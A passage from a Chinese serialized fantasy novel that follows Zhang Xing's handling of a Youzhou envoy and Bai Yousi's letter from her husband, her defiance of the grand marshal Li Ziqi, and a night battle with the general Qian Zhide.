就在张首席犹豫要不要将召集济阴行台的人做通报之事推到秋后时,这日下午,张亮忽然打马入城,向张行汇报了一件大事情。 “首席,李枢逃了。”张亮满头大汗,只说了六个字。 正在刚修好公房处理医院后勤表格的张行一愣,然后哑然失笑。 第三十八章归来行(4) “太上老君急急如律令!” 夏日傍晚的夕阳下,一句怪异而又简单的话喊出来以后,就在旁边的曹铭猛地打了个哆嗦,竟是莫名生出了一股彻骨寒意。 然而,其人四下去望,却不见半点异常。 夕阳还是夕阳,映照在海面上金红一片,随波荡漾;远处的营地内,炊烟袅袅,正是晚前最热闹的时候;而一侧的金鳌城内外,却因为要关闭城门而已经进入整肃状态。 这一切都如常。 甚至,甚至……有点封建主义大和谐的那种感觉。 转回头再慌乱去看白有思,却发现白有思的目光已经落到自己身后一处地方……曹铭无奈顺势看去,却正是刚刚看过的金鳌城。 “真有意思。”而将待曹铭要问时,白有思却含笑开口了。“我欲归登州,罗盘却指了这金鳌城……齐王殿下,你说这城里有什么关键或要害吗?” “能有什么?”曹铭强作镇定,几乎是本能做答。“这城里有大宗师!也是至尊派来的监军!你这罗盘……” “原来如此,我还以为是说我的船队呢,但方位稍微有些不对。”白有思晃了晃罗盘,确定方向后便将罗盘从容挂回到了腰间,而也就是挂回去的那一瞬间,罗盘那明显挺直的指针复又神奇的垂了下去。“齐王殿下,你说这东夷大宗师是心甘情愿为南面那位做此番辛苦的吗?” 曹铭摇头苦笑:“不管如何,他还能跟你一样对至尊起了逆反之心吗?你以为人人……” 话到一半,这位光杆齐王殿下便闭上了嘴,然后再三回头怔怔看向了身后的金鳌城。 “天不言,就有人来定。”白有思抱着长剑微微眯眼,同样看向金鳌城。“别人不晓得,咱们难道不知道吗?大宗师到底还是人的…” 曹铭这次没有说什么丧气话,他犹豫了一下,反过来问道:“你是说,这位大都督到底是东夷人的大都督,所以便是论至尊也是先以青帝爷为主,南面那位次之?所以总可以为难他一下,试一试他?” “自然有此意。”白有思认真作答。“不过我觉得最大指望,还在于他是人而非神。” 曹铭摇摇头,他不是不懂对方意思……实际上,论修为,他曾经一度到过宗师;论**地位,他在许多年内一直是被朝野广泛认可的隐性继承人;论经历见识,他也曾提惊龙剑去唤分山君,且两位大宗师与他都曾亲近……一个算是他老师,一个是叔祖。 但是,越如此,他越是觉得天堑难越……至尊对上白三娘这种宗师,乃至于郦子期这种大宗师,应该就是大宗师对上寻常奇经正脉吧? 怎么对付? 而且你对付完了大宗师又如何?还有至尊呢! 说白了,他就是没有那个信心。 只不过,话还得说回来,而且还得说的更难听一点……都到这份上了,他的境遇还能更糟糕吗?他反对,有效吗? 所以,曹铭干脆再度摇了摇头:“白三娘,我母我儿在张三郎手上,救助也好,劫持也罢,反正事情是如此,故你若一心如此,我无话可说,听你差遣便是……你要我去跟郦子期说吗?” “不。”白有思微微笑道。“郦子期这里我来对付,我要你去寻王元德,借他之力来为难郦子期。” 曹铭懵了很久,眼瞅着太阳都快落下去了,方才来问:“王元德又是谁?” “侯君束是谁?”济水畔的一个小村子里,坐在村头树荫下的张行盯着眼前公文愣了许久,愣是没想起来上面这人是谁,便张口来问。 这才几年,自己已经到了这种份上了吗?连所谓幽州重臣都记不住了?曹彻附体了?自己不就是夏天来了以后多喝了几杯酸梅汤嘛,还自己冰镇的……也不算懈怠吧? 就在张首席有些茫然到自我怀疑的时候,随行的新任文书封常赶紧从后方出来躬身做答:“回禀首席,若侯君束能到首席案前,只应该是幽州方面的使者……此人是正经关陇出身,但其祖父却在前朝之前的司马氏与东齐对峙时得了北地七卫八公中柳城公的位子,却又在大魏并吞时迟疑了一些,又被前朝一朝弃用,如今只在幽州一带厮混。” 张行看了看手上转自济阴城却来自于河北的公文犹疑片刻,然后认真来问:“这人很有名气吗?” “他有什么名气?”封常不由苦笑摊手。“这人就是个破落户,而且算年纪不过二十出头,修为也不高,做事也没有耐性,急功近利倒是出了名的,只是在掷刀岭周边有些名头罢了。不过……” 话到这里,封常反而稍微肃然起来:“不过这种人到了乱世,反而是如鱼得水,算是天生做……乱的料。” “原来是个新冒出来的人,我还以为此人是幽州重臣,我居然忘了呢。”坐在那里的张行如释重负。“他应该是罗术控制幽州后刚刚投奔的?” “应该是。” “这个什么幽州北面都督、安乐郡太守、奋武将军、柳城公……” “柳城公肯定是他为了彰显祖上名号自夸,将军号十之**是幽州内部自表,幽州北面都督跟安乐郡太守则是一回事,就是幽州北面通往掷刀岭要道上的一个小郡,只有两个县,甚至就是两座小城……” 张行想了一想,还是朝旁边参谋来言:“去济阴城内看看张公慎张分管有没有出发,没有请他来一趟。” 参谋随即便要去寻人。 但也就是此时,封常赶紧又来言:“首席且慢……” 张行随即抬手制止参谋,同时来看封常:“怎么说?” “首席,敢问首席为何来问此人……是此人做了什么事情,还是来了咱们这边?”封常立即询问。 “来我们这里做使者。”张行抬手道。 “这就对了……幽州此时遣使过来,依着罗术这个人的眼界狭窄,怕是难直接降服,反而是要与我们联手,夹击河间薛常雄……敢问是也不是?”封常继续来问。 “确实。“张行点头,复又不解。“封文书,你如何晓得幽州上下,罗术也倒罢了,这个什么侯君束居然也晓得?” “回禀首席。”封常赶紧解释。“属下本就是河北人,母族正是幽州人,所以晓得。” “可你不是早就出来做官了吗?”张行依旧好奇。“我记得你妻子是杨斌的幼妹,那都是什么时候的事了?” “不过是二十年前。”封常勉力笑道。 “二十年前就入了中枢,如何晓得一个二十来岁的破落户,还是母族乡里的?” “谁让杨斌这个人外宽内忌,杨慎这个人志大才疏,而前朝大魏两任皇帝曹彻一个酷烈偏私,一个视人为草芥呢?”封常连连苦笑。“在下遇到张首席之前,能寻到虞常基虞相公做个遮蔽,已经很不错了……常年不得位,上头又云波诡谲,自然要留意乡梓,注意退路,所以才知道幽州燕山北麓有这么一个人。” 张行若有所思点点头,却又去看侧前方树荫下磨盘旁的文书副分管虞常南,但后者只是坐着凳子于磨盘上奋笔疾书,按照要求回复什么公文,对这边的事情充耳不闻。 这俩人,再加上马围,以及尚未归来的阎庆,其实就是张行为陈斌配的四个核心副手了。 如果考虑到马围主要负责军事上的辅助,阎庆更像是人事监督,那陈斌真正的助手反而就是这俩个德行、资历、功勋不一的降人了。 坦诚说,这不合规矩,不合情理,但实属无奈。 说白了,黜龙帮的那些资历头领们没这个本事和经验……就连陈斌其实都是降人,而且是二重降人,是南陈的皇族。但即便是陈斌,在面对越来越大的摊子时,也明显吃力,只能指望这些之前替大魏打理天下的降人了。 想到这里,张行心中委实有些感慨——文法吏……文法吏,以文书治天下,便是神仙真龙来了,都不耽误纸笔的力量。 “那你为何不让张公慎过来呢?”张行想了一下,方才回到原本问题。 “回禀首席,罗术这个人图小利而无远见,再加上他可能自恃之前在河北战事中对我们有‘恩’,若不来求夹击反而奇怪。”封常也去了紧张之态,立即解释。“只不过,这种事情到底是大事,敢问他为何不派自己心腹过来呢?比如说什么燕云十八骑的那些人?” “可能是需要靠十八骑掌军,也可能是怕这些人见到我跟张公慎张头领一般不走了。”张行笑道。“这些人见到张头领,总免不了一些尴尬。” “首席所言极是,就是因为张公慎头领在这里,他怕这些人见到张头领后尴尬。”封常正色道。 “那他派这人来,还是顶了公慎之前在安乐郡位置的新人……”张行话说一半,却也摇头失笑。“我知道了,他是要反过来让公慎尴尬……不要喊张头领了,让他回河北忙军器监的事情,什么都不告诉他,只让那个侯君束来这里见我。” 王翼部的参谋随即而去。 “首席英睿。”封常目送参谋离去,也跟着笑了。“属下也要恭贺首席了……看来河北一统断无波折了。” “怎么说?”张行似笑非笑。 “因为之前只知道罗术是个没有远见的武夫,却没想到他这般无德无略。”封常笑道。“这种人,看似赳赳,而且武力煊赫,似乎有些能耐和本钱,但他越是折腾,越是葬送局面,平白将豪杰与河山推给有德之人……而首席便是有德之人。” “我也是有德之人?”张行大笑。“李四郎他们可不是这般说的……” 封常一时干笑,却不好接话了。 张行却又正色起来:“其实,评论一个人的德行还是要看他处境和位置,真到了山穷水尽或者无牵无挂的时候,烂事我也干,换成在之前大魏朝廷里,上下左右都无德,你想有德怕是也难……只不过,罗术到底是幽州十几郡之主,这次来也是为了结盟,为了他的赳赳武志……不说他结盟对不对,只是既要与我们结盟,偏偏又要来让我们帮里的头领尴尬,让张头领尴尬不就是让咱们黜龙帮难堪吗?这也确实有些……短浅了。” 封常只是颔首。 就这样,众人撇开这个话题,只回到原本的工作上去。 原来,此时议和已成,军队也解散到了最后一步,随着将牛达派遣往徐州后,最后一桩大事也已经敲定,于是大部分人便都启程,或者回到原本的行台,或者回到预定但从未落实的大行台驻地。 李定回武安了,柴孝和回济北了,单通海没有“回”济阴,反而“回”了荥阳,谢鸣鹤去了东都还没有回来,王叔勇则直接去了魏郡,就连秦宝都去了东郡接他娘去了。 现在,张公慎、张世昭、韩二郎、十三金刚他们这批人也要启程了。 当然,雄伯南尚在谯郡带着几个军法营计点军功,伍惊风也留在了谯郡,几个降人,还有部分文书、参谋、准备将也都留了下来,随张行在这里盘桓,却什么正事、大事都不作,反而把心思放在了这回战事伤亡的抚恤上。 而且不是整体的把握,是亲自往济阴周边巡查这一年战事后的烈属与伤残退役军士。 究其原因,不是说没有事做,真要做肯定有的做,而且都算是大事,尤其是两个新立行台的结构、人事、方略什么的,只不过张行决定缓一缓,等秋收后再来切实做这些事。 而且即便是秋后,也要做的缓慢一些,甚至还准备做点别的闲杂事情,比如说祭祀、运动会、蒙基部开学仪式什么的,包括想过给窦小娘和苏靖方主持婚礼……黜龙帮之前一年过于辛苦了,战争烈度也极大,是时候缓一缓了。 所谓休整,是要全方位的,从兵员、器械补充到人精神状态的全面性休整。 不过,张行留在这里做调查而不是去别的地方调查,究其原因还有一个说法,那就是他在等人,但不是等侯君束,而是在等那位就在淮北的大宗师……此人已经联系到了,原本想要过来,路上听到要着急救治的人已经**,却又稍微一停,在谯郡去协助处理战后死伤了。 总得弄清楚这位大宗师的立场。 大约过了一个多时辰,距离此地并不远的济阴方向,驰来数骑,而此时张行所在的树荫下,却又不止是文书、参谋、准备将了,还多了几十位村民。 张首席正坐在树下,与这些人闲谈呢。 真的是闲谈,一行人抵达,队伍里的幽州军使者侯君束听得清楚,张首席在问这些人村里的婚姻情况,谁家嫁给谁,几个媳妇是村外的,又有几个姑娘嫁去了济阴城里。 坦诚说,这让侯君束有些措手不及,来之前想好的言语也都不知道该如何开始。 非只如此,那张首席抬头看了看来人,却只是皱了皱眉头,然后居然置之不理,继续与那些村民聊及婚姻: “残废的军士竟然争着嫁吗?” “不是争着嫁,是不愁娶……”已经明显适应了交谈的村民赶紧回复。“有残废的,就有死的,死的就有寡妇,寡妇就喜欢带着地跟儿女去嫁残废的,一下子老婆孩子都有,还成了地主。” 张行恍然,却又苦笑,只能摆手:“我知道了,辛苦老丈们了,先回去吧,我这里来客人了。” 那些村民这些如梦方醒,赶紧起身慌慌张张入村去了。 张行叹了口气,然后看向到来队伍中一人:“公慎,你怎么看?” 那人,也就是黜龙帮头领张公慎了,闻言认真思索片刻,给出答复:“应该算是好事吧?到底给了功臣一个交代。只怕不能长久。” “关键是**……三征以来平白死的人太多了。”张行摇头道。“可靠**来兼并土地做地主,哪里能长久?得想着人口正常繁衍的局面……到时候人口增多,地还是那些地,狭乡宽乡一起,却不知道要如何处置了?而且那个时候也不用打仗了,更不知道如何引导咱们这些拿命换来的功臣地主?” 张公慎点点头:“首席想的长远。” 旁边侯君束面色不变看着这一幕,却忍不住暗暗咽了一口口水。 这位不知道算是关陇还是北地又或者幽燕豪杰的想法很简单,这张三郎说的想的,还有这个坐立说话的样子,怎么那么,那么不着调呢? 当今乱世,英雄辈出,豪杰并起,正是大肆兼并,攻伐杀戮,图谋设计,以求功业的时候,怎么能像个老农一样坐在村头大树下,靠着磨盘唉声叹气跟人说什么乡里的婚姻? 这种人,简直就是个笑话。 但是,偏偏侯君束心知肚明,眼前这个张三郎断然不是个笑话。 想一想就知道,此人自此地济水畔起兵,四载有余而已,硬生生带着一群豪强盗匪之流,标准的乌合之众,灭张须果,破薛常雄,拒白横秋,并李定,降冯无佚,逐李枢,吞司马化达,两度俘虏皇太后,废一任皇帝。 到了眼下,他的黜龙帮只是地盘便东并大海,西挟红山,北跨大河,南连淮水,稳稳当当好几十个河北、东境、江淮的心腹大郡,隐隐有了当日东齐的七分局面。 更不要说,大魏的宰相对他纳头便拜,草莽宗师俯首称臣,如今人家麾下宗师数人,成丹凝丹数不胜数,堪称英雄汇聚,豪杰如云……不说别的,之前在河北接待自己的八臂天王张金树,这护送自己来的河南巡骑营头领张亮,昔日燕云十八骑中几乎算是前三的张公慎,哪个不是英雄豪杰?哪个心中没有丘壑?哪个是不能攻杀谋略的主? 却都只是黜龙帮寻常头领。 那么,眼前这位张首席,怎么可能是笑话? 而若人家不是笑话,那本能以为人家是笑话的自己莫非反而是个笑话? 可自己怎么能是个笑话呢? 自己是个大大的豪杰! 侯君束脑子一片混沌,那边张行已经继续来问张公慎了:“公慎,你不去往河北,如何来的此地?可有什么计较?” 张公慎倒是坦然,直接往侯君束身上一指:“幽州来使者,直接在城内寻了我,想让我做个介绍,正好遇到首席召唤他,我便跟来了。” 张行摇头不止:“你倒是大度。” 张公慎面不改色:“人家以礼而来,总要听听说法的……就好像首席刚刚说的那般意思,三征以来平白死太多人了,能少**还是少**。” “不错,就是这个意思。”张行复又颔首不及。“算了,你就听一听吧,这人我已经知道底细,侯君……束?是吧?” 说着,张行终于转头看向了幽州军来使,而一直到这个时候,他才稍作打量,看清楚对方的衣着容貌。 侯君束今年二十多岁,面白皮净,却显得瘦削,衣着明显上档次,一身锦衣专门做了收口,方便舞刀弄枪,腰间也的确配着一把刀鞘装饰华丽但刀柄古朴的长刀,再戴着崭新的武士小冠,踢着裹了透气六合靴。 很显然,他在打扮上下了功夫。 不过,他最明显的特征却是那双眼睛,眼缝细长,却始终努力睁大,而且不停的四下转动来看,与保持固定的身躯、毫不动摇的表情形成了鲜明对比。 这让张行莫名想到了一个根本不怎么相像的人——刘黑榥。 不过刘黑榥这厮喜怒形于色啊,而且审美也没到戴武士冠的地步,最多头上勒个带子。 “在下便是侯君束。”那人终于俯首下拜。“奉我主之命,来求见张首席,以期达成盟约,夹攻薛常雄,若能成功,则平分河间。” 张行不置可否,只是缓缓来问:“怎么平分?” “我们幽州只要河间郡,其余郡县全都交予黜龙帮。”侯君束脱口而对。 周围人不少立即笑出了声。 且说,河北的州郡就是这么古怪,跟济水一带州郡大小相当、人口类似不同,河北那边州郡的差距却因为地理和人文历史因素而显得巨大到匪夷所思的地步……小的,如张公慎跟侯君束所领的安乐郡,其实就是个联结河北跟北地的交通要道,两个县都是硬凑的,大的,如幽州、河间这种基本上算是总管州的州郡,幅员辽阔,一个抵得上寻常州郡三五个。 实际上,大魏治下,这两个地方本就有设有大营,各有总管,只不过幽州是常设,而河间是临时设置罢了。 那么回到眼下,薛常雄现在的地盘有多大呢? 答案很简单,一个河间郡,一个信都郡,半个博陵郡而已。而其中一个河间郡便抵得上三个信都,或者三个博陵了。 那罗术这种分法,尤其是黜龙帮实力明显更胜一筹的情况下,不免显得可笑。 “这是罗总管的意思,还是你侯将军的意思?”张行想了一想,问了个有些莫名其妙的问题。 “当然是我们总管的意思。”侯君束即刻做答,而且也觉得对方有些莫名其妙。 “我的意思是,你不是幽州北面都督、安乐郡太守、奋武将军、柳城公吗?”张行状若不解。“这般身份,明显是幽州重臣,如今又做了使者,显然是罗总管心腹,总应该有些临机决断之权吧?” 侯君束不由有些尴尬,但也只能硬着头皮答非所问:“既为使者,总要不辱使命。” “那你的使命是什么?”张行继续正色来问。“难道不是为了达成两家盟约,合攻河间吗?现在我问你有没有临机决断之权,明显是对这个盟约条件不满意……” 侯君束闻言赶紧拱手笑对:“张首席若自有方略,尽管来说,我回去必将转达。” 张行含笑摇头不止。 侯君束愈发紧张不安。 这个时候,封常忽然上前一步,拱手来言:“候将军,我家首席的意思是说,你到底是做使者还是来做信使的?若只是个传话的信使,为何一定要求见我家首席?而且,若只是个信使,为何要你一位幽州重臣来做?这委实不合情理。” 侯君束终于支撑不住,一时面红耳赤。 “算了。”张行摆手以对。“从幽州……不对,从北地柳城那边过来到这济水,堪称千里迢迢,也算辛苦,不妨稍住几日再回去,只请罗总管再遣一位能做决断的心腹过来就好。” 侯君束似乎还想说话,旁边一直没吭声的巡骑营头领张亮赶紧上前立在了此人与张行中间,并抬手示意,请他离开。周围随行巡骑也都拥了上来,直接按刀围住。 侯君束无可奈何,而且他委实有些发懵,实在是不理解为什么好好的出使活动几句话就弄成这个样子? 不是你张首席刚刚说的吗?能少**还是要少**的。 稀里糊涂被赶走后,其人还能听到那张首席对沿途招待自己的张亮进行训斥……这就更让人难堪了。 “你怎么能随着他让他自行去拜会张头领?”张行面色确实不渝。 张亮一愣,醒悟过来,也是一时讪讪。 孰料,张行随即努嘴示意:“追上去,埋怨一下此人,顺便告诉张金树,让他想法子把张头领的家人接过来。” 张亮恍然,立即转身离去。 这个时候,张行方才来看张公慎:“公慎,没必要委曲求全的。” “首席想多了。”张公慎连连摇头,却又正色来问。“首席难道是为了我的脸面才拒盟的吗?恕我直言,国家大事,若是因为我私人缘故而有些偏差,那反而让我惭愧。” “何至于此?”张行连连摆手。“河北之事,一年内咱们都不会动刀兵,翻脸也好,结盟也罢,于此时而言只是敷衍哄骗北面两家的手段,公慎不必有负担。” 张公慎这才放下心来。 另一边,张亮追上侯君束,却是立即让周边巡骑回避,然后只与对方两人并马,这才低声埋怨:“侯将军,我看你是名家之后,又豪气过人,这才与你方便,结果你怎么是个被排挤出来的?复又连累到我身上?” 侯君束莫名其妙:“如何说什么排挤?” “你若不是被排挤,怎么能出来做这活?”张亮冷笑一声。 “如果说出来做公事就是被排挤,你们那位谢总管未免日日被排挤了。”侯君束即刻 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侯君束想到来时罗术叮嘱与刚刚那张首席与张公慎的对话反应,晓得这是实话,到底是不再吭声了。 而张亮眼见如此简单便动摇对方,更是精神一振,下定决心要在此人身上打开一个局面,捞个功劳。 大概是侯君束无功而返的几日后,充当使者的曹铭在东夷都城寿华府见到了传说中的王元德。 前者干脆是在临出发才知道,王元德是东夷王室年轻一代的佼佼者,算是羽翼较为丰满的一位王室大将,而且素来与郦氏不睦……而晓得这个,便也晓得白三娘遣他来寻王元德是什么意思了。 东夷素来看重身份,得知是大魏齐王殿下来访,虽然晓得是**的亲王,而且的对大东胜国动过手的亲王,可王元德依旧没有任何架子,反而与对方并案落座,招待的也还算阔气,美酒佳肴,歌舞时鲜,比某些人的刻薄小气强太多了。 而酒过三巡,歌舞皆罢,王元德方才开口询问,委实修养过人:“齐王何至于此啊?” “山穷水尽,求王将军收留。”曹铭拱手相对,也不知道是他临时想的,还是白有思叮嘱的说法。 王元德一时干笑:“据我所知,大魏还没有山穷水尽,东都和西都都还奉曹魏为正统,若齐王折返中原,说不得还有一个皇位……” “有位子也不敢坐了。”曹铭喟然道。“坐了就是死路一条……大魏气数已尽,我能活命已然是至尊庇佑了……王将军,我不是来求什么良田美宅的,更不敢奢求什么权位,我虽因为当日强行唤起分山君坏了身体,但还有半个宗师的架子,哪里不能活?只求你给一句话,许我留下。” 王元德反而不解:“若是这般,齐王殿下尽管留下便是,何须我一句话?莫非是要我引见我们大东胜国国主?” “不,不用引见国主,见了国主反而难堪。”曹铭恳切以对。“我只要王将军一句话……不瞒王将军,我之所以至此,是因为贵国大都督非得想把我扶到妖岛国主的位置,我心灰意冷,却又不堪其扰,恰好有人告诉我,整个大东胜国只有王将军能抵挡那位大都督,所以至此来求庇护。” 王元德联系起之前的一些事情,瞬间醒悟。 而这个时候,曹铭语调却又哀伤起来:“国破家亡,妻离子散,本想寻个清净之地了此残生,但大都督却不愿意放过我……而我思来想去,发觉这天下之大,竟然只有王将军这一处可以存身了……王将军,我不敢说这天下我最凄惨,但这天下可还有比我更孤立无援之人?” 说着,曹铭居然当场垂泪不止。 王元德眼见对方情真意切,也有些感慨,但他到底是个心怀大志的,想了一想,还是认真来做验证:“如此说来,之前白三娘的纠缠,也是为了妖岛?” “他想要白三娘去协助我。”曹铭坦诚相告。“如此好在妖岛立足。” “好大的谋划!”王元德点点头,复又摇头。“好坏的谋划!” 曹铭只是掩面擦泪:“我也不愿意,白三娘也不愿意,但大都督一意孤行,据说还到青帝观做了占卜,也是许他的。” “占卜。”王元德似笑非笑。“若信占卜,不是不行,得青帝爷亲自来讲……否则,谁能心平?” “那……王将军能不能留我在这里,然后给大都督去一封信,劝一劝呢?”曹铭面露期待。 “此事容易。”王元德倒是干脆。“一封信如何不能写?齐王且在我这里安坐便是。” 还是比某**方干脆。 时间一晃数日,金鳌城外,营地已经整肃起来,并且几乎已经做了启程的部分准备,这一日,在巡查完营地之后,白有思同时等到了两个信使。 一个是城内钱唐派来的,乃是说大都督郦子期请她入城一叙。 另一个也是钱唐派来的,却是从登州快马转来的某人书信。 “让钱唐转告大都督,我这边收到夫君来信,正要阅读回复,就不去城里了,明日再见。”白有思掂了掂手里厚厚的信封,从容下令。 说完,直接转回到了自己的木屋内。然后,便就着海风与下午阳光,于桌前打开了那封信。 “我妻思思挚爱,见字如面。 此信发出之前,中原战事已悉平,两家各军尽散,阡陌之间,行人如织,稍复安泰之象。另,月娘与秦宝娘亲已至东郡,皆平安,勿忧。” 白有思随意扫过,目光停在月娘二字上面,想了一会,还是放下,继续看去。 “千金教主确信已至淮北,其人得金戈夫子提醒,决心重新立塔,委实可敬。只是,不知是否属我误会,我屡次延请相邀,或求拜访,他虽回复泰然,却始终不定,总觉得他有些回避之态……不过,如今时间充裕,再加上小周已经准备秋收前便启程过来,我总要送小周与他一见,请他治疗,届时便晓得原委了。” 白有思心中一叹,她如何不晓得,对方回此信时必然还没接到自己上一封回信,否则便该猜到,这千金教主之所以回避,怕是有她白三娘的缘故,所以想拖一拖。 只是不知道,这位教主跟自己到底有多大关系,又对此番事有几分知情了? “除此之外,不晓得是不是之前一年过于紧绷,如今安泰下来,帮中反而有些人心不定,只是不易察觉罢了。 如谢鸣鹤,往来如常,但内里似乎有些厌倦疲惫之态;如陈斌、马围几人,干练依旧,也好像隐隐有些不安之心;还有一些领兵头领,晓得自己要被渐渐剥离兵权,行事也有颓唐起来。与此同时,窦立德用心功名,不愿停留;张世昭恨时光飞逝不复回,心中紧张;韩二郎、封常虽德行不一,却都是新人,自然想有所为,于是各自显得难承平安,坐立不定起来。 我细细来想,这其实是人之常情,四年纷争不断,人心疲敝,终得喘息之机,自然有些不知所措。其实非只是他们,便是我,虽有计划,却也有些行事杂乱起来,留在济水这边等个秋收,也都常常不安。 遑论他人? 故此,我与你写信同时,也开始与这些人私下写信,或是鼓励,或是安慰,或是装模作样寻求意见,以求人心妥当。 不过,对于李定,我倒是准备写信嘲讽于他。 须知道,这次议和,本是这厮一力主导,修养整备一年不动刀兵,也是他一力推动,可真到了偃旗息鼓之后,反而就数他最为不安,宛若猴子一般,竟是连老婆都等不回来,就直接回武安去做整备了。 竟没我有三分耐性。” 白有思思索片刻,便也想到,是不是也可以与王振、马平儿这些人,甚至更下面的人写信做安慰呢?黜龙帮主力在中原大胜,进入整备而已,便已经这般人心惶杂了,自己这里情况更差,却不晓得人心已经落到什么样子了。 正想着呢,再往下看,却又失笑。 “我这里人心长草,却不免想到,你那里恐怕更加艰苦。 不过,这两者肯定是截然不同的。 我这里是大局稳定下,许多人对个人前途在明确新局势下的不适应和不安,你那里却似乎会更计较于整体局势的发展情况,是对整体前途的迷茫与惶恐。 我人不在那里,不好与你做分析,但还是要提醒你,有时候纠结于特定的人,不如自己及早做出表率,明确方向。毕竟,你在那里的地位是毋庸置疑的,所有人其实都在看着你。” 白有思抬起头来,望向窗外,而不知道是不是错觉,她也确实觉得,很多人有意无意,都在往自己这间小木屋来看。 是时候了。 “当然,这个建议的前提是你没有与至尊直接为敌,否则他们很容易动摇,这也是你面对的最大一个困难。 而这同时是我的尴尬之处,你那边的情形我不能及时知晓,所有鼓励都只似隔靴搔痒,所有策略都只如盲人引路,万般艰难都只能靠你一力劈开。 但如果不写信鼓励你,不帮你做分析,那便是真的无能为力了。 思思,天下大乱,纷争不断,你不可能一直藏剑,我也永远不会忘记当日见你出剑扫荡,一击而定的样子。阡陌之间,花开叶绿,人世悲喜不断,我也想与你一同来看。 我想你了。” 我也想你了,白有思心中默念,久久没有放下手中书信。 一直到窗外有人来言:“白三娘也有这般儿女态吗?” 白有思面色不变,从容反问:“大都督不曾年轻过吗?” 郦子期不知在何处一声叹气:“如此说来,王元德信里说的是真的了,你不愿意去妖岛?” “去妖岛?”白有思收起书信,蹙眉来问。“去妖岛做什么?此间数万士民,自我以下,不都盼着回家吗?大都督为何要我们去妖岛?” 郦子期许久没有吭声。 而白有思早已经走了出来,却是拎着长剑对着木屋前纷纷来看的下属下达了命令:“今晚之前告诉所有人,我们明日启程,走陆路,过落龙滩,回登州!” 郦子期负着手,立在门外窗边,一声不吭看着这一幕,只海风阵阵,越来越大,将他白发卷起。 “白三娘,海上尚安,可若不走,就要起风暴了。”终于,郦子期开口了,既是提醒,又是警告。 “我不会将这些人送到妖岛再做背井离乡。”白有思回过身来,抱着长剑与对方面对面相告。“我自己也不会将自己掷于什么命定之地!时代变了,大都督,不是几百年前靠真火占卜来定天意的时候了,当今之世,人心既天意。我们此举,是代天而为二,你若一意孤行,我等数万之众,虽拼却性命,也总能逃出去几个人,向天下昭告你这逆天之罪了!” 郦子期还未及言语,营地内却已经渐渐喧哗,乃至于沸腾起来,声势已然压过了海风。 很显然,所有人都知道了,他们要启程回家了。 第三十九章归来行(5) 钱支德扔下自己可以随时起阵的草关,主动夜袭,从他的角度而言无疑是有充足理由的……白有思只觉得这么杀下去,十天半月都杀不破这个军阵,自家自然就陷入绝境,简直是必死之局。 可那是真把自己比作百万大军了。 从钱支德的角度来说,这是被大魏征伐到国都门口,然后于国家而言是生死之局,于自己而言是生死置之度外的局面吗? 当然不是。 白有思虽强,可他钱支德也有羽翼支撑,并不怕对方轻易坏了自己性命。 他现在所不能忍受的,乃是白有思窥破他虚实,然后仗着个人修为就像今日这般这么肆无忌惮的杀下去,把他的部属精锐,把大东胜国的修行苗子跟军官种子给这么轻易的拔除。 而反过来说,一旦突袭得手,便是杀不了白有思,只夜间突破小营然后卷到对方大营……这种连乌合之众都算不上的队伍,便会一哄而散。 届时,这白娘子西归之事变没了根底,也就没了针对草关的道理,这些青壮也能继续留在大东胜国。 当然,因为一些缘故,钱支德对夜袭也确实是犹豫了一下的,但并没有犹豫太久。 他钱支德守此关数十载,从最开始一个无名低阶凡品的寻常守将,一路到现在的名震天下,连国主都要敬重三分,靠的就是心性坚定与敢作敢为,如何要被什么大都督和一个小娘子所束缚?! 但还是那句话,他既出来,白有思也有了一搏而胜的机会。 杀了此僚,破了草关,便可扬长而去! 天下,哪有什么至全道理? “钱老将军!”白有思化作威凰,当面一扑,旋即飞上天来,借着弯弯双月的月光当空叫阵。“听说你在草关数十载,威名传于天下,以至于号称草神,自诩此关如东夷野草,战火烧不尽,春风吹又生,乃至于割首断肢亦可复生,我如今却不信,白日所斩首级可曾复生?!” 钱支德既惊且怒……惊的是,对方这般迅速扑出,战意盎然,显然没有被突袭吓到;怒的是,对方居然这般挑衅,还是拿他最在意的子弟兵死伤死伤做筏,如何能忍? 可钱支德还是忍住了。 就好像白日那般忍住了……原因很简单,强迫自己冷静以后,钱支德反而醒悟,对方这般反应疾速只是因为对方是顶尖好手,是一位天纵奇才的宗师,却不能说自家突袭被看破,更不能说整个小营都严阵以待! 恰恰相反,这白娘子此番挑衅反而更像是是故作从容,虚张声势。 若被她吓住,反而中计,让小营中军势整肃,或者等来后方大营援兵。 当务之急,是整军攻寨! 一念至此,钱支德立即转过头来,对自家副将重申军令:“不要管她,你们三人为锋矢,我当其中,一起压过去,压到后方大寨,便是全胜!” 言迄,其人头顶真气凝结,别人看不清楚,白有思居高临下看的真切,却正是一座翠绿色城门楼的模样。而率先突出的三名副将不晓得是凝丹还是成丹,连接这座城楼后隐隐化为三个突出的支垣,将核心突击部队全部笼罩其中。 真真是以人为城,以人为垣。 偏偏还不是扼城而守,乃是如城如垣,铺陈而下。 效果也极为明显,堪称所当者破,临时搭建的营寨根本就是被连根拔起。 白有思见状,狞笑一声,忽然翻身扑下,却不再取钱支德,而是直接朝向三支分垣靠左的那个光点,乃是长剑先行,全身笔直跟上,辉光真气连结,宛若一体,看起来好像一柄巨剑,直刺如星落。 倒是原本的威凤被收入体内。 对于凝丹以上高手来说,黑夜与白昼何异……那名副将见到白有思扑杀过来,早早抬手抵挡,**舞动,借助军阵之力,仿佛凭空起了一棵丈余的绿树立在自己上方。 却不料,那金剑刺下,如火侵草,如光化雪,绿树当场散开,副将也被那白娘子欺身到跟前,惊骇一时。 唯独白有思此时到底不能突破修为桎梏,剑锋破了绿树已经力尽,但见到对方惊骇,晓得还是出了机会,却是刚一落地,便准备再度发力挥剑,试图趁机了结此人。 只不过,钱支德就在身后,如何能允许她轻易破了自己内丹外显之阵,斩自己心腹之将? 其人一声怒喝,挥舞长刀,人刀俱前,先卷起一阵大风,风中夹杂了一些物与水汽,寻常军士都不能承受,便是相隔甚远,也让许多人瞬间惊动,往此处望来。 白有思原本是此时侧身相对风向,也在此刻忽然转身回头,似乎是被这风惊动了一般。 风过之后,真气便至,逼上前来的钱支德正好在淡淡月光下看到对方面孔,却是一时心惊肉跳……无他,之前还狞笑的白有思面此时无表情,原本还化做威凤的厚重辉光真气此时也荡然无存,甚至连体表的护体真气都不再见,只有双目精光四溢,然后完全凝实的金色辉光真气止不住的从眼角逸散出来。 真真是望之宛若木偶却有神,似乎神仙又存真。 这个样子,便是不晓得根底,可稍有常识之人也能看出怪异,钱支德也心中一慌,自然暗叫不好。 